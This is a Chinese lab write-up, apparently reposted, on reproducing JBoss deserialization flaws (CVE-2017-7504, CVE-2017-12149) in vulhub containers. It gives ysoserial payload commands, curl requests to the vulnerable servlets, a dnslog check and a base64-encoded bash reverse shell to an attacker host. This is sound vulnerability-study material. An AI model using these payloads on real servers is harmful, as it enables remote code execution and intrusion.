JBoss 系列漏洞复现
Posted don9sec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBoss 系列漏洞复现相关的知识,希望对你有一定的参考价值。
前言
这篇文章的环境均来自p牛的vulhub:
建议在pc端阅读
JMXInvokerServlet-deserialization
执行如下命令启动JBoss环境:
docker-compose up -d
踩坑:
端口占用,修改docker-compose.yml, 端口改成9999
环境启动后,目标为
http://your-ip:8080
这是经典的JBoss反序列化漏洞,JBoss在
/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,可利用Apache Commons Collections中的Gadget执行任意代码,。
利用方式同CVE-2017-12149 (见下文).
CVE-2017-7504
执行如下命令启动JBoss AS 4.0.5:
docker-compose up -d
环境启动后,目标为
http://your-ip:8080
漏洞出现在
/jbossmq-httpil/HTTPServerILServlet
借助ysoserial的CommonsCollections5利用链来复现。
生成payload,先验证环境是否搭建成功:
# 创建文件bailu
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/bailu" > poc_touch_cve_2017_7504.ser
# 将poc_touch_cve_2017_7504.ser文件内容作为POST Body提交
curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_touch_cve_2017_7504.ser
回到靶机的docker中,发现文件已成功创建:
docker ps
docker exec -it df8b31ce3722 /bin/bash
ls tmp/
到这一步,环境就算搭建成功了。
dnslog-URLDNS
使用ysoserial的URLDNS 模块生成dnslog回显的payload:
java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bin
curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_dnslog.bin
成功在dnslog平台收到记录:
reverse shell
由于
Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,需要用进行一次base64编码:
bash -i >& /dev/tcp/0.0.0.0/7777 0>&1
使用ysoserial.jar生成payload,并向/jbossmq-httpil/HTTPServerILServlet发起post请求,提交poc_shell.ser:
# base64_str 见上图的编码部分
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser
curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_shell.ser
如图,成功反弹shell:
CVE-2017-12149
执行如下命令启动JBoss 5.x/6.x:
# 关掉上一步的docker
docker kill df8b31ce3722
docker-compose up -d
环境启动后,目标为
http://your-ip:8080
漏洞出现在
/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:
同CVE-2017-12149, 使用bash来反弹shell,但由于
Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,需要进行一次base64编码。
注:使用的gadget是CommonsCollections5。
dnslog-URLDNS
使用ysoserial的URLDNS 模块生成dnslog回显的payload:
java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bin
curl http://ip:8080/invoker/readonly --data-binary @poc_dnslog.bin
成功在dnslog平台收到记录:
reverse shell
同CVE-2017-7504,由于
Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,需要用进行一次base64编码:
bash -i >& /dev/tcp/0.0.0.0/8888 0>&1
得到编码结果:
使用ysoserial.jar 生成poc_shell.ser
# base64_str 见上图
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser
并在attack_vps监听8888端口:
curl http://ip:8080/invoker/readonly --data-binary @poc_shell.ser
如图,成功反弹shell:
结语
这几天突然体会到了弹计算器的快乐! 以上是关于JBoss 系列漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章